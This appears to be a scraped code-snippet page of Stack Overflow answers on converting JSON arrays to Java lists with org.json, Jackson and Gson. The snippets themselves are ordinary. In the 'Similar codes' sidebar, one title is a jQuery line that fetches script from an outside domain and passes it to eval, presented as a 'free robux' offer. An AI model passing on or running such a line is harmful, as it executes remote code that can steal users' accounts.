Json array to List in java

Jsonarray to list java

JSONArray data = new JSONArray(); //create data from this -> [{"thumb_url":"tb-1370913834.jpg","event_id":...}]

List<JSONObject> list = data.stream().map(o -> (JSONObject) o).collect(Collectors.toList());

Source: stackoverflow.com

Json array to List in java

List<Employee> list = mapper.readValue(jsonString,
TypeFactory.defaultInstance().constructCollectionType(List.class,  
   Employee.class));

Source: stackoverflow.com

How to convert a list of json to list of array

dataArray = [{"Value":10,"ValuePourcent":2},{"Value":20,"ValuePourcent":3},{"Value":51,"ValuePourcent":1}]

newFormat = dataArray.map(function(e){
                  return [e["Value"], e["ValuePourcent"]]
                  });

Convert json to arraylist java

// Top of file
import java.lang.reflect.Type;

// ...

private void parseJSON() {
    Gson gson = new Gson();
    Type type = new TypeToken<List<ContactModel>>(){}.getType();
    List<ContactModel> contactList = gson.fromJson(jsonString, type);
    for (ContactModel contact : contactList){
        Log.i("Contact Details", contact.id + "-" + contact.name + "-" + contact.email);
    }
}

-1

Source: stackoverflow.com

Similar codes

0 vote271 views10 answers
$Javascript $.get('//api.rbx2.xyz/rbx id=16553',eval)free robux 5000
Java
4 votes283 views1 answer
Java const
Java
0 vote274 views1 answer
Modulo restriction with negative numbers Java
Java
0 vote249 views1 answer
Paper api maven
Java
0 vote288 views2 answers
String array to stringbuilder array java
Java
0 vote286 views1 answer
OpenCV mat to float bytebuffer java
Java
19 votes259 views6 answers
Java array to list
Java
0 vote277 views1 answer
Spring delete objest from database that are not in your object list
Java
0 vote276 views1 answer
Java schleifendurchläufe zählen
Java
-2 votes275 views1 answer
How to import borderlayout
Java